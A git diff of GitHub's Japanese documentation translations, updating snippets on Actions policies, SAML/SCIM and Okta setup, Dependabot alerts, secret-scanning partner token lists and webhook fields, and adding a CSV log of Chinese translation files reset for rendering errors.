enabled. {% endif %} {% data reusables.advanced-security.more-info-ghas %} diff --git a/translations/ja-JP/data/reusables/gated-features/okta-team-sync.md b/translations/ja-JP/data/reusables/gated-features/okta-team-sync.md deleted file mode 100644 index 954018a4ad..0000000000 --- a/translations/ja-JP/data/reusables/gated-features/okta-team-sync.md +++ /dev/null @@ -1,9 +0,0 @@ -{% ifversion not ghae %} - -{% note %} - -**メモ:** Oktaを利用するTeam の同期は現在ベータであり、変更されることがあります。 ベータへの登録については、GitHubセールス顧客担当にお問い合わせください。 - -{% endnote %} - -{% endif %} diff --git a/translations/ja-JP/data/reusables/github-actions/enabled-actions-description.md b/translations/ja-JP/data/reusables/github-actions/enabled-actions-description.md index 96fa295b91..3f5092e9ca 100644 --- a/translations/ja-JP/data/reusables/github-actions/enabled-actions-description.md +++ b/translations/ja-JP/data/reusables/github-actions/enabled-actions-description.md @@ -1 +1 @@ -{% data variables.product.prodname_actions %}を有効化すると、ワークフローはリポジトリ内と、その他の任意のパブリックリポジトリ内のアクションを実行できるようになります。 +When you enable {% data variables.product.prodname_actions %}, workflows are able to run actions located within your repository and any other{% ifversion fpt %} public{% elsif ghec or ghes %} public or internal{% elsif ghae %} internal{% endif %} repository. diff --git a/translations/ja-JP/data/reusables/github-actions/private-repository-forks-overview.md b/translations/ja-JP/data/reusables/github-actions/private-repository-forks-overview.md index 2ff5a2e734..9280ed2e45 100644 --- a/translations/ja-JP/data/reusables/github-actions/private-repository-forks-overview.md +++ b/translations/ja-JP/data/reusables/github-actions/private-repository-forks-overview.md @@ -1,4 +1,4 @@ -プライベートリポジトリのフォークの利用に依存しているなら、ユーザがどのように`pull_request`イベントの際にワークフローを実行できるかを制御するポリシーを設定できます。 Available to private and internal repositories only, you can configure these policy settings for enterprises, organizations, or repositories. Enterpriseの場合、このポリシーはすべてのOrganizationのすべてのリポジトリに適用されます。 +プライベートリポジトリのフォークの利用に依存しているなら、ユーザがどのように`pull_request`イベントの際にワークフローを実行できるかを制御するポリシーを設定できます。 Available to private {% ifversion ghec or ghes or ghae %}and internal{% endif %} repositories only, you can configure these policy settings for {% ifversion ghec %}enterprises, {% elsif ghes or ghae %}your enterprise, {% endif %}organizations, or repositories.{% ifversion ghec or ghes or ghae %} For enterprises, the policies are applied to all repositories in all organizations.{% endif %} - **Run workflows from fork pull requests（フォークのPull Requestからワークフローを実行）** - 読み取りのみの権限を持ち、シークレットにはアクセスできない`GITHUB_TOKEN`を使って、フォークのPull Requestからワークフローを実行することをユーザに許可します。 - **Send write tokens to workflows from pull requests（Pull Requestから書き込みトークンをワークフローに送信）** - 書き込み権限を持つ`GITHUB_TOKEN`の利用をフォークからのPull Requestに許可します。 diff --git a/translations/ja-JP/data/reusables/identity-and-permissions/team-sync-confirm-saml.md b/translations/ja-JP/data/reusables/identity-and-permissions/team-sync-confirm-saml.md index 5f967325f5..88ff39d6fd 100644 --- a/translations/ja-JP/data/reusables/identity-and-permissions/team-sync-confirm-saml.md +++ b/translations/ja-JP/data/reusables/identity-and-permissions/team-sync-confirm-saml.md @@ -1 +1 @@ -3. SAML SSO が有効であることを確認します。 詳細は「[Organization で SAML シングルサインオンを管理する](/organizations/managing-saml-single-sign-on-for-your-organization/)」を参照してください。 +3. Confirm that SAML SSO is enabled for your organization. 詳細は「[Organization で SAML シングルサインオンを管理する](/organizations/managing-saml-single-sign-on-for-your-organization/)」を参照してください。 diff --git a/translations/ja-JP/data/reusables/identity-and-permissions/team-sync-confirm-scim.md b/translations/ja-JP/data/reusables/identity-and-permissions/team-sync-confirm-scim.md new file mode 100644 index 0000000000..f7cfaf6571 --- /dev/null +++ b/translations/ja-JP/data/reusables/identity-and-permissions/team-sync-confirm-scim.md @@ -0,0 +1 @@ +1. We recommend you confirm that your users have SAML enabled and have a linked SCIM identity to avoid potential provisioning errors. For help auditing your users, see "[Auditing users for missing SCIM metadata](/organizations/managing-saml-single-sign-on-for-your-organization/troubleshooting-identity-and-access-management#auditing-users-for-missing-scim-metadata)." For help resolving unlinked SCIM identities, see "[Troubleshooting identity and access management](/organizations/managing-saml-single-sign-on-for-your-organization/troubleshooting-identity-and-access-management)." \ No newline at end of file diff --git a/translations/ja-JP/data/reusables/identity-and-permissions/team-sync-okta-requirements.md b/translations/ja-JP/data/reusables/identity-and-permissions/team-sync-okta-requirements.md index 2d55dec2ca..b0c7d453e6 100644 --- a/translations/ja-JP/data/reusables/identity-and-permissions/team-sync-okta-requirements.md +++ b/translations/ja-JP/data/reusables/identity-and-permissions/team-sync-okta-requirements.md @@ -1,5 +1,5 @@ -OktaのTeam同期を有効化するには、あなたもしくはIdPの管理者は以下を実行しなければなりません。 +Before you enable team synchronization for Okta, you or your IdP administrator must: -- Oktaを利用するOrganizationでSAML SSOとSCIMを有効化する。 詳しい情報については「[Oktaを使用したSAMLシングルサインオンとSCIMの設定](/organizations/managing-saml-single-sign-on-for-your-organization/configuring-saml-single-sign-on-and-scim-using-okta)」を参照してください。 +- Configure the SAML, SSO, and SCIM integration for your organization using Okta. 詳しい情報については「[Oktaを使用したSAMLシングルサインオンとSCIMの設定](/organizations/managing-saml-single-sign-on-for-your-organization/configuring-saml-single-sign-on-and-scim-using-okta)」を参照してください。 - OktaインスタンスのテナントURLを提供してください。 - Okta環境にサービスユーザとして読み取りのみの管理権限を持つ、有効なSSWSトークンを生成してください。 詳しい情報についてはOktaのドキュメンテーションの[トークンの生成](https://developer.okta.com/docs/guides/create-an-api-token/create-the-token/)及び[サービスユーザ](https://help.okta.com/en/prod/Content/Topics/Adv_Server_Access/docs/service-users.htm)を参照してください。 diff --git a/translations/ja-JP/data/reusables/package_registry/checksum-maven-plugin.md b/translations/ja-JP/data/reusables/package_registry/checksum-maven-plugin.md index fd43d4f230..3d980144e1 100644 --- a/translations/ja-JP/data/reusables/package_registry/checksum-maven-plugin.md +++ b/translations/ja-JP/data/reusables/package_registry/checksum-maven-plugin.md @@ -1,5 +1,5 @@ {%- ifversion ghae %} -1. *pom.xml*ファイルの`plugins`要素に[checksum-maven-plugin](http://checksum-maven-plugin.nicoulaj.net/index.html)プラグインを追加し、そのプラグインを最低でもSHA-256のチェックサムを送信するように設定してください。 +1. In the `plugins` element of the *pom.xml* file, add the [checksum-maven-plugin](https://search.maven.org/artifact/net.nicoulaj.maven.plugins/checksum-maven-plugin) plugin, and configure the plugin to send at least SHA-256 checksums. ```xml diff --git a/translations/ja-JP/data/reusables/repositories/deleted_forks_from_private_repositories_warning.md b/translations/ja-JP/data/reusables/repositories/deleted_forks_from_private_repositories_warning.md index ad8cec4d1c..881fff809f 100644 --- a/translations/ja-JP/data/reusables/repositories/deleted_forks_from_private_repositories_warning.md +++ b/translations/ja-JP/data/reusables/repositories/deleted_forks_from_private_repositories_warning.md @@ -6,6 +6,6 @@ - [LDAP Syncが有効化されている](/enterprise/{{ page.version }}/admin/guides/user-management/using-ldap/#enabling-ldap-sync)場合、リポジトリから個人を削除すると、その人はアクセス権を失いますが、その人のフォークは削除されません。 元々のOrganizationのリポジトリへのアクセスできるように3ヶ月以内にその人がTeamに追加されたなら、次回の同期の際にフォークへのアクセスは自動的に回復されます。{% endif %} - リポジトリへのアクセスを失った個人に、機密情報や知的財産を確実に削除してもらうのは、あなたの責任です。 -- プライベート{% ifversion fpt or ghes or ghae or ghec %}あるいはインターナル{% endif %}リポジトリに対する管理権限を持つ人は、そのリポジトリのフォークを禁止でき、OrganizationのオーナーはOrganization内のプライベート{% ifversion fpt or ghes or ghae or ghec %}あるいはインターナル{% endif %}リポジトリのフォークを禁止できます。 詳しい情報については「[Organizationのためのフォークのポリシーの管理](/organizations/managing-organization-settings/managing-the-forking-policy-for-your-organization)」及び「[リポジトリのフォークのポリシーの管理](/github/administering-a-repository/managing-the-forking-policy-for-your-repository)」を参照してください。 +- プライベート{% ifversion ghes or ghae or ghec %}あるいはインターナル{% endif %}リポジトリに対する管理権限を持つ人は、そのリポジトリのフォークを禁止でき、OrganizationのオーナーはOrganization内のプライベート{% ifversion ghes or ghae or ghec %}あるいはインターナル{% endif %}リポジトリのフォークを禁止できます。 詳しい情報については「[Organizationのためのフォークのポリシーの管理](/organizations/managing-organization-settings/managing-the-forking-policy-for-your-organization)」及び「[リポジトリのフォークのポリシーの管理](/github/administering-a-repository/managing-the-forking-policy-for-your-repository)」を参照してください。 {% endwarning %} diff --git a/translations/ja-JP/data/reusables/repositories/enable-security-alerts.md b/translations/ja-JP/data/reusables/repositories/enable-security-alerts.md index 06048f86e9..7775e50f47 100644 --- a/translations/ja-JP/data/reusables/repositories/enable-security-alerts.md +++ b/translations/ja-JP/data/reusables/repositories/enable-security-alerts.md @@ -1,4 +1,4 @@ {% ifversion ghes or ghae-issue-4864 %} Enterprise owners must enable -{% data variables.product.prodname_dependabot %} alerts for vulnerable dependencies for {% data variables.product.product_location %} before you can use this feature. For more information, see "[Enabling the dependency graph and {% data variables.product.prodname_dependabot_alerts %} on your enterprise account](/admin/configuration/managing-connections-between-your-enterprise-accounts/enabling-the-dependency-graph-and-dependabot-alerts-on-your-enterprise-account)." +{% data variables.product.prodname_dependabot_alerts %} for vulnerable dependencies for {% data variables.product.product_location %} before you can use this feature. For more information, see "[Enabling the dependency graph and {% data variables.product.prodname_dependabot_alerts %} on your enterprise account](/admin/configuration/managing-connections-between-your-enterprise-accounts/enabling-the-dependency-graph-and-dependabot-alerts-on-your-enterprise-account)." {% endif %} diff --git a/translations/ja-JP/data/reusables/repositories/security-alerts-x-github-severity.md b/translations/ja-JP/data/reusables/repositories/security-alerts-x-github-severity.md index 3989774796..2741a8f189 100644 --- a/translations/ja-JP/data/reusables/repositories/security-alerts-x-github-severity.md +++ b/translations/ja-JP/data/reusables/repositories/security-alerts-x-github-severity.md @@ -1 +1 @@ -`X-GitHub-Severity`ヘッダフィールドを含む、1つ以上のリポジトリに影響する{% ifversion fpt or ghes or ghec %}{% data variables.product.prodname_dependabot_alerts %}{% else %}セキュリティアラート{% endif %}に対するメール通知。 `X-GitHub-Severity`ヘッダフィールドは、{% ifversion fpt or ghes or ghec %}{% data variables.product.prodname_dependabot_alerts %}{% else %}セキュリティアラート{% endif %}に対するメール通知のフィルタリングに利用できます。 +Email notifications for {% data variables.product.prodname_dependabot_alerts %} that affect one or more repositories include the `X-GitHub-Severity` header field. You can use the value of the `X-GitHub-Severity` header field to filter email notifications for {% data variables.product.prodname_dependabot_alerts %}. diff --git a/translations/ja-JP/data/reusables/saml/okta-edit-provisioning.md b/translations/ja-JP/data/reusables/saml/okta-edit-provisioning.md index 22742720b9..b7057db24b 100644 --- a/translations/ja-JP/data/reusables/saml/okta-edit-provisioning.md +++ b/translations/ja-JP/data/reusables/saml/okta-edit-provisioning.md @@ -1,3 +1,4 @@ +9. To avoid syncing errors and confirm that your users have SAML enabled and SCIM linked identities, we recommend you audit your organization's users. For more information, see "[Auditing users for missing SCIM metadata](/organizations/managing-saml-single-sign-on-for-your-organization/troubleshooting-identity-and-access-management#auditing-users-for-missing-scim-metadata)." 10. [Provisioning to App] の右にある [**Edit**] をクリックします。 ![Okta アプリケーションのプロビジョニングオプションに使用する [Edit] ボタン](/assets/images/help/saml/okta-provisioning-to-app-edit-button.png) 11. [Create Users] の右にある [**Enable**] を選択します。 ![Okta アプリケーションの [Create Users] オプションの [Enable] チェックボックス](/assets/images/help/saml/okta-provisioning-enable-create-users.png) 12. [Update User Attributes] の右にある [**Enable**] を選択します。 ![Okta アプリケーションの [Update User Attributes] オプションの [Enable] チェックボックス](/assets/images/help/saml/okta-provisioning-enable-update-user-attributes.png) diff --git a/translations/ja-JP/data/reusables/secret-scanning/api-beta.md b/translations/ja-JP/data/reusables/secret-scanning/api-beta.md index 982117ca35..3456a913a6 100644 --- a/translations/ja-JP/data/reusables/secret-scanning/api-beta.md +++ b/translations/ja-JP/data/reusables/secret-scanning/api-beta.md @@ -1,4 +1,4 @@ -{% ifversion ghes > 3.0 %} +{% ifversion ghes > 3.0 or ghae-next %} {% note %} diff --git a/translations/ja-JP/data/reusables/secret-scanning/partner-secret-list-private-repo.md b/translations/ja-JP/data/reusables/secret-scanning/partner-secret-list-private-repo.md index c335feb111..8ca3e7aec6 100644 --- a/translations/ja-JP/data/reusables/secret-scanning/partner-secret-list-private-repo.md +++ b/translations/ja-JP/data/reusables/secret-scanning/partner-secret-list-private-repo.md @@ -64,7 +64,9 @@ GitHub | GitHub OAuthアクセストークン | github_oauth_access_token{% endi {%- ifversion fpt or ghec or ghes > 3.1 or ghae-next %} GitHub | GitHubリフレッシュトークン | github_refresh_token{% endif %} {%- ifversion fpt or ghec or ghes > 3.1 or ghae-next %} -GitHub | GitHub App Installation Access Token | github_app_installation_access_token{% endif %} GitHub | GitHub SSH Private Key | github_ssh_private_key GoCardless | GoCardless Live Access Token | gocardless_live_access_token GoCardless | GoCardless Sandbox Access Token | gocardless_sandbox_access_token +GitHub | GitHub App Installation Access Token | github_app_installation_access_token{% endif %} GitHub | GitHub SSH Private Key | github_ssh_private_key +{%- ifversion fpt or ghec or ghes > 3.3 %} +GitLab | GitLab Access Token | gitlab_access_token{% endif %} GoCardless | GoCardless Live Access Token | gocardless_live_access_token GoCardless | GoCardless Sandbox Access Token | gocardless_sandbox_access_token {%- ifversion fpt or ghec or ghes > 3.2 %} Google | Firebase Cloud Messaging Server Key | firebase_cloud_messaging_server_key{% endif %} Google | Google API Key | google_api_key Google | Google Cloud Private Key ID | google_cloud_private_key_id {%- ifversion fpt or ghec or ghes > 3.2 %} @@ -74,6 +76,8 @@ Google | Google Cloud Storage Service Account Access Key ID | google_cloud_stora {%- ifversion fpt or ghec or ghes > 3.2 %} Google | Google Cloud Storage User Access Key ID | google_cloud_storage_user_access_key_id{% endif %} {%- ifversion fpt or ghec or ghes > 3.3 %} +Google | Google OAuth Access Token | google_oauth_access_token{% endif %} +{%- ifversion fpt or ghec or ghes > 3.3 %} Google | Google OAuth Client ID | google_oauth_client_id{% endif %} {%- ifversion fpt or ghec or ghes > 3.3 %} Google | Google OAuth Client Secret | google_oauth_client_secret{% endif %} @@ -140,7 +144,11 @@ Sendinblue | Sendinblue SMTP Key | sendinblue_smtp_key{% endif %} {%- ifversion fpt or ghec or ghes > 3.1 or ghae-next %} Shippo | Shippo Live API Token | shippo_live_api_token{% endif %} {%- ifversion fpt or ghec or ghes > 3.1 or ghae-next %} -Shippo | Shippo Test API Token | shippo_test_api_token{% endif %} Shopify | Shopify App Shared Secret | shopify_app_shared_secret Shopify | Shopify Access Token | shopify_access_token Shopify | Shopify Custom App Access Token | shopify_custom_app_access_token Shopify | Shopify Private App Password | shopify_private_app_password Slack | Slack API Token | slack_api_token Slack | Slack Incoming Webhook URL | slack_incoming_webhook_url Slack | Slack Workflow Webhook URL | slack_workflow_webhook_url SSLMate | SSLMate API Key | sslmate_api_key SSLMate | SSLMate Cluster Secret | sslmate_cluster_secret Stripe | Stripe API Key | stripe_api_key +Shippo | Shippo Test API Token | shippo_test_api_token{% endif %} Shopify | Shopify App Shared Secret | shopify_app_shared_secret Shopify | Shopify Access Token | shopify_access_token Shopify | Shopify Custom App Access Token | shopify_custom_app_access_token Shopify | Shopify Private App Password | shopify_private_app_password Slack | Slack API Token | slack_api_token Slack | Slack Incoming Webhook URL | slack_incoming_webhook_url Slack | Slack Workflow Webhook URL | slack_workflow_webhook_url +{%- ifversion fpt or ghec or ghes > 3.3 %} +Square | Square Production Application Secret | square_production_application_secret{% endif %} +{%- ifversion fpt or ghec or ghes > 3.3 %} +Square | Square Sandbox Application Secret | square_sandbox_application_secret{% endif %} SSLMate | SSLMate API Key | sslmate_api_key SSLMate | SSLMate Cluster Secret | sslmate_cluster_secret Stripe | Stripe API Key | stripe_api_key {%- ifversion fpt or ghec or ghes > 3.0 or ghae %} Stripe | Stripe Live API Secret Key | stripe_live_secret_key{% endif %} {%- ifversion fpt or ghec or ghes > 3.0 or ghae %} @@ -152,7 +160,8 @@ Stripe | Stripe Test API Restricted Key | stripe_test_restricted_key{% endif %} {%- ifversion fpt or ghec or ghes > 3.1 or ghae-next %} Stripe | Stripe Webhook Signing Secret | stripe_webhook_signing_secret{% endif %} {%- ifversion fpt or ghec or ghes > 3.1 or ghae-next %} -Tableau | Tableau Personal Access Token | tableau_personal_access_token{% endif %} +{%- ifversion fpt or ghec or ghes > 3.3 %} +Supabase | Supabase Service Key | supabase_service_key{% endif %} Tableau | Tableau Personal Access Token | tableau_personal_access_token{% endif %} {%- ifversion fpt or ghec or ghes > 3.1 or ghae-next %} Telegram | Telegram Bot Token | telegram_bot_token{% endif %} Tencent Cloud | Tencent Cloud Secret ID | tencent_cloud_secret_id {%- ifversion fpt or ghec or ghes > 3.3 %} diff --git a/translations/ja-JP/data/reusables/secret-scanning/partner-secret-list-public-repo.md b/translations/ja-JP/data/reusables/secret-scanning/partner-secret-list-public-repo.md index d73d253509..331f9b03bb 100644 --- a/translations/ja-JP/data/reusables/secret-scanning/partner-secret-list-public-repo.md +++ b/translations/ja-JP/data/reusables/secret-scanning/partner-secret-list-public-repo.md @@ -75,6 +75,8 @@ | Samsara | Samsara API Token | | Samsara | Samsara OAuth Access Token | | SendGrid | SendGrid API Key | +| Sendinblue | Sendinblue API Key | +| Sendinblue | Sendinblue SMTP Key | | Shopify | Shopify App Shared Secret | | Shopify | Shopify Access Token | | Shopify | Shopify Custom App Access Token | @@ -91,4 +93,5 @@ | Tencent Cloud | Tencent Cloud Secret ID | | Twilio | Twilio Account String Identifier | | Twilio | Twilio API Key | +| Typeform | Typeform Personal Access Token | | Valour | Valour Access Token | diff --git a/translations/ja-JP/data/reusables/support/submit-a-ticket.md b/translations/ja-JP/data/reusables/support/submit-a-ticket.md index 3580938fe0..1156becaad 100644 --- a/translations/ja-JP/data/reusables/support/submit-a-ticket.md +++ b/translations/ja-JP/data/reusables/support/submit-a-ticket.md @@ -7,6 +7,9 @@ - {% ifversion fpt or ghec %}センシティブなデータ（コミット、Issue、プルリクエスト、アップロードされた添付ファイル）の自分のアカウントとOrganizationのリストアからの削除{% else %}システムパフォーマンスの問題{% endif %}を含むビジネスにインパクトのある問題をレポートしたり、重大なバグのレポートをしたりするには**{% data variables.product.support_ticket_priority_high %}**を選択してください。 - {% ifversion fpt or ghec %}アカウントの回復やスパム認定の取り消しのリクエスト、ユーザーログインの問題のレポート{% else %}設定変更やサードパーティとのインテグレーションのような技術的なリクエスト{% endif %}や、重大ではないバグのレポートには、**{% data variables.product.support_ticket_priority_normal %}**を選択してください。 - 一般的な質問をしたり、新機能、購入、トレーニング、ヘルスチェックのリクエストのサブミットをするには、**{% data variables.product.support_ticket_priority_low %}**を選択してください。 +{%- ifversion ghes or ghec %} +1. Optionally, if your account includes {% data variables.contact.premium_support %} and your ticket is {% ifversion ghes %}urgent or high{% elsif ghec %}high{% endif %} priority, you can request a callback. Select **Request a callback from GitHub Support**, select the country code drop-down menu to choose your country, and enter your phone number. ![Request callback option](/assets/images/help/support/request-callback.png) +{%- endif %} 1. [Subject] には、サブミットしようとしている問題がわかりやすい題名を入力してください。 ![Subject field (題名)](/assets/images/help/support/subject-field.png) 5. [How can we help] には、Support チームが問題のトラブルシューティングをするうえで役立つと考えられる追加情報をすべて入力してください。 有益な情報の例としては、以下のようなものがあります: ![[How can we help] フィールド](/assets/images/help/support/how-can-we-help-field.png) - 問題を再現する手順 diff --git a/translations/ja-JP/data/reusables/webhooks/workflow_job_properties.md b/translations/ja-JP/data/reusables/webhooks/workflow_job_properties.md index 95ad9b0ac9..a5e9d9124c 100644 --- a/translations/ja-JP/data/reusables/webhooks/workflow_job_properties.md +++ b/translations/ja-JP/data/reusables/webhooks/workflow_job_properties.md @@ -1,4 +1,10 @@ -| キー | 種類 | 説明 | -| -------------- | -------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------- | -| `action` | `string` | 実行されたアクション。 次のいずれかになります。
                    • `queued` - A new job was created.
                    • `in_progress` - The job has started processing on the runner.
                    • `completed` - The `status` of the job is `completed`.
                    | -| `workflow_job` | `オブジェクト` | The workflow job. Many `workflow_job` keys, such as `head_sha`, `conclusion`, and `started_at` are the same as those in a [`check_run`](#check_run) object. | +| キー | 種類 | 説明 | +| --------------------------------- | --------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------ | +| `action` | `string` | 実行されたアクション。 次のいずれかになります。
                    • `queued` - A new job was created.
                    • `in_progress` - The job has started processing on the runner.
                    • `completed` - The `status` of the job is `completed`.
                    | +| `workflow_job` | `オブジェクト` | The workflow job. Many `workflow_job` keys, such as `head_sha`, `conclusion`, and `started_at` are the same as those in a [`check_run`](#check_run) object. | +| `workflow_job[status]` | `string` | ジョブの現在の状態。 `queued`、`in_progress`、`completed`のいずれか。 | +| `workflow_job[labels]` | `array` | Custom labels for the job. Specified by the [`"runs-on"` attribute](/actions/reference/workflow-syntax-for-github-actions#jobsjob_idruns-on) in the workflow YAML. | +| `workflow_job[runner_id]` | `integer` | The ID of the runner that is running this job. This will be `null` as long as `workflow_job[status]` is `queued`. | +| `workflow_job[runner_name]` | `string` | The name of the runner that is running this job. This will be `null` as long as `workflow_job[status]` is `queued`. | +| `workflow_job[runner_group_id]` | `integer` | The ID of the runner group that is running this job. This will be `null` as long as `workflow_job[status]` is `queued`. | +| `workflow_job[runner_group_name]` | `string` | The name of the runner group that is running this job. This will be `null` as long as `workflow_job[status]` is `queued`. | diff --git a/translations/ja-JP/data/variables/contact.yml b/translations/ja-JP/data/variables/contact.yml index 7b80460c64..2b010d14fa 100644 --- a/translations/ja-JP/data/variables/contact.yml +++ b/translations/ja-JP/data/variables/contact.yml @@ -10,7 +10,7 @@ contact_dmca: >- {% ifversion fpt or ghec %}[著作権侵害の申し立て](https://github.com/contact/dmca){% endif %} contact_privacy: >- {% ifversion fpt or ghec %}[プライバシーに関する連絡フォーム](https://github.com/contact/privacy){% endif %} -contact_enterprise_sales: "[GitHubの営業チーム](https://enterprise.github.com/contact)" +contact_enterprise_sales: "[GitHubの営業チーム](https://github.com/enterprise/contact)" contact_feedback_actions: '[GitHub Actionsのフィードバックフォーム](https://support.github.com/contact/feedback?contact[category]=actions)' #The team that provides Standard Support enterprise_support: 'GitHub Enterprise Support' diff --git a/translations/log/cn-resets.csv b/translations/log/cn-resets.csv new file mode 100644 index 0000000000..3c1fae96d3 --- /dev/null +++ b/translations/log/cn-resets.csv @@ -0,0 +1,338 @@ +file,reason +translations/zh-CN/content/account-and-profile/managing-subscriptions-and-notifications-on-github/setting-up-notifications/configuring-notifications.md,rendering error +translations/zh-CN/content/account-and-profile/managing-subscriptions-and-notifications-on-github/viewing-and-triaging-notifications/managing-notifications-from-your-inbox.md,rendering error +translations/zh-CN/content/account-and-profile/setting-up-and-managing-your-github-profile/managing-contribution-graphs-on-your-profile/sending-enterprise-contributions-to-your-githubcom-profile.md,broken liquid tags +translations/zh-CN/content/account-and-profile/setting-up-and-managing-your-github-profile/managing-contribution-graphs-on-your-profile/viewing-contributions-on-your-profile.md,broken liquid tags +translations/zh-CN/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/about-your-personal-dashboard.md,broken liquid tags +translations/zh-CN/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/index.md,rendering error +translations/zh-CN/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/managing-accessibility-settings.md,rendering error +translations/zh-CN/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/managing-the-default-branch-name-for-your-repositories.md,broken liquid tags +translations/zh-CN/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/managing-your-theme-settings.md,rendering error +translations/zh-CN/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/permission-levels-for-a-user-account-repository.md,rendering error +translations/zh-CN/content/actions/advanced-guides/caching-dependencies-to-speed-up-workflows.md,rendering error +translations/zh-CN/content/actions/advanced-guides/storing-workflow-data-as-artifacts.md,broken liquid tags +translations/zh-CN/content/actions/automating-builds-and-tests/about-continuous-integration.md,broken liquid tags +translations/zh-CN/content/actions/automating-builds-and-tests/building-and-testing-nodejs.md,rendering error +translations/zh-CN/content/actions/automating-builds-and-tests/building-and-testing-python.md,rendering error +translations/zh-CN/content/actions/creating-actions/creating-a-javascript-action.md,rendering error +translations/zh-CN/content/actions/deployment/about-deployments/index.md,rendering error +translations/zh-CN/content/actions/deployment/deploying-to-your-cloud-provider/index.md,rendering error +translations/zh-CN/content/actions/deployment/managing-your-deployments/index.md,rendering error +translations/zh-CN/content/actions/deployment/security-hardening-your-deployments/configuring-openid-connect-in-amazon-web-services.md,rendering error +translations/zh-CN/content/actions/deployment/security-hardening-your-deployments/configuring-openid-connect-in-azure.md,rendering error +translations/zh-CN/content/actions/deployment/security-hardening-your-deployments/configuring-openid-connect-in-google-cloud-platform.md,rendering error +translations/zh-CN/content/actions/deployment/security-hardening-your-deployments/index.md,rendering error +translations/zh-CN/content/actions/deployment/security-hardening-your-deployments/using-openid-connect-with-reusable-workflows.md,rendering error +translations/zh-CN/content/actions/guides.md,rendering error +translations/zh-CN/content/actions/hosting-your-own-runners/about-self-hosted-runners.md,rendering error +translations/zh-CN/content/actions/hosting-your-own-runners/adding-self-hosted-runners.md,Listed in localization-support#489 +translations/zh-CN/content/actions/hosting-your-own-runners/adding-self-hosted-runners.md,rendering error +translations/zh-CN/content/actions/hosting-your-own-runners/monitoring-and-troubleshooting-self-hosted-runners.md,Listed in localization-support#489 +translations/zh-CN/content/actions/hosting-your-own-runners/monitoring-and-troubleshooting-self-hosted-runners.md,rendering error +translations/zh-CN/content/actions/hosting-your-own-runners/removing-self-hosted-runners.md,broken liquid tags +translations/zh-CN/content/actions/hosting-your-own-runners/using-a-proxy-server-with-self-hosted-runners.md,rendering error +translations/zh-CN/content/actions/learn-github-actions/expressions.md,rendering error +translations/zh-CN/content/actions/learn-github-actions/reusing-workflows.md,rendering error +translations/zh-CN/content/actions/learn-github-actions/understanding-github-actions.md,rendering error +translations/zh-CN/content/actions/learn-github-actions/usage-limits-billing-and-administration.md,rendering error +translations/zh-CN/content/actions/learn-github-actions/workflow-commands-for-github-actions.md,rendering error +translations/zh-CN/content/actions/learn-github-actions/workflow-syntax-for-github-actions.md,rendering error +translations/zh-CN/content/actions/managing-workflow-runs/removing-workflow-artifacts.md,broken liquid tags +translations/zh-CN/content/actions/managing-workflow-runs/reviewing-deployments.md,Listed in localization-support#489 +translations/zh-CN/content/actions/managing-workflow-runs/reviewing-deployments.md,rendering error +translations/zh-CN/content/actions/using-github-hosted-runners/about-ae-hosted-runners.md,broken liquid tags +translations/zh-CN/content/actions/using-github-hosted-runners/about-github-hosted-runners.md,broken liquid tags +translations/zh-CN/content/admin/advanced-security/configuring-code-scanning-for-your-appliance.md,rendering error +translations/zh-CN/content/admin/advanced-security/configuring-secret-scanning-for-your-appliance.md,rendering error +translations/zh-CN/content/admin/advanced-security/enabling-github-advanced-security-for-your-enterprise.md,rendering error +translations/zh-CN/content/admin/authentication/authenticating-users-for-your-github-enterprise-server-instance/allowing-built-in-authentication-for-users-outside-your-identity-provider.md,broken liquid tags +translations/zh-CN/content/admin/authentication/authenticating-users-for-your-github-enterprise-server-instance/using-saml.md,broken liquid tags +translations/zh-CN/content/admin/authentication/managing-identity-and-access-for-your-enterprise/configuring-saml-single-sign-on-for-your-enterprise.md,broken liquid tags +translations/zh-CN/content/admin/authentication/managing-identity-and-access-for-your-enterprise/configuring-user-provisioning-for-your-enterprise.md,broken liquid tags +translations/zh-CN/content/admin/authentication/managing-identity-and-access-for-your-enterprise/index.md,broken liquid tags +translations/zh-CN/content/admin/authentication/managing-your-enterprise-users-with-your-identity-provider/about-enterprise-managed-users.md,rendering error +translations/zh-CN/content/admin/configuration/configuring-network-settings/configuring-an-outbound-web-proxy-server.md,broken liquid tags +translations/zh-CN/content/admin/configuration/configuring-network-settings/network-ports.md,rendering error +translations/zh-CN/content/admin/configuration/configuring-your-enterprise/accessing-the-management-console.md,broken liquid tags +translations/zh-CN/content/admin/configuration/configuring-your-enterprise/command-line-utilities.md,broken liquid tags +translations/zh-CN/content/admin/configuration/configuring-your-enterprise/configuring-backups-on-your-appliance.md,broken liquid tags +translations/zh-CN/content/admin/configuration/configuring-your-enterprise/configuring-custom-footers.md,rendering error +translations/zh-CN/content/admin/configuration/configuring-your-enterprise/configuring-email-for-notifications.md,broken liquid tags +translations/zh-CN/content/admin/configuration/configuring-your-enterprise/configuring-github-pages-for-your-enterprise.md,rendering error +translations/zh-CN/content/admin/configuration/configuring-your-enterprise/configuring-rate-limits.md,broken liquid tags +translations/zh-CN/content/admin/configuration/configuring-your-enterprise/index.md,rendering error +translations/zh-CN/content/admin/configuration/configuring-your-enterprise/managing-github-for-mobile-for-your-enterprise.md,broken liquid tags +translations/zh-CN/content/admin/configuration/configuring-your-enterprise/site-admin-dashboard.md,broken liquid tags +translations/zh-CN/content/admin/configuration/managing-connections-between-your-enterprise-accounts/connecting-your-enterprise-account-to-github-enterprise-cloud.md,broken liquid tags +translations/zh-CN/content/admin/configuration/managing-connections-between-your-enterprise-accounts/enabling-the-dependency-graph-and-dependabot-alerts-on-your-enterprise-account.md,rendering error +translations/zh-CN/content/admin/configuration/managing-connections-between-your-enterprise-accounts/enabling-unified-contributions-between-your-enterprise-account-and-githubcom.md,broken liquid tags +translations/zh-CN/content/admin/configuration/managing-connections-between-your-enterprise-accounts/enabling-unified-search-between-your-enterprise-account-and-githubcom.md,rendering error +translations/zh-CN/content/admin/configuration/managing-connections-between-your-enterprise-accounts/index.md,broken liquid tags +translations/zh-CN/content/admin/enterprise-management/configuring-high-availability/about-high-availability-configuration.md,rendering error 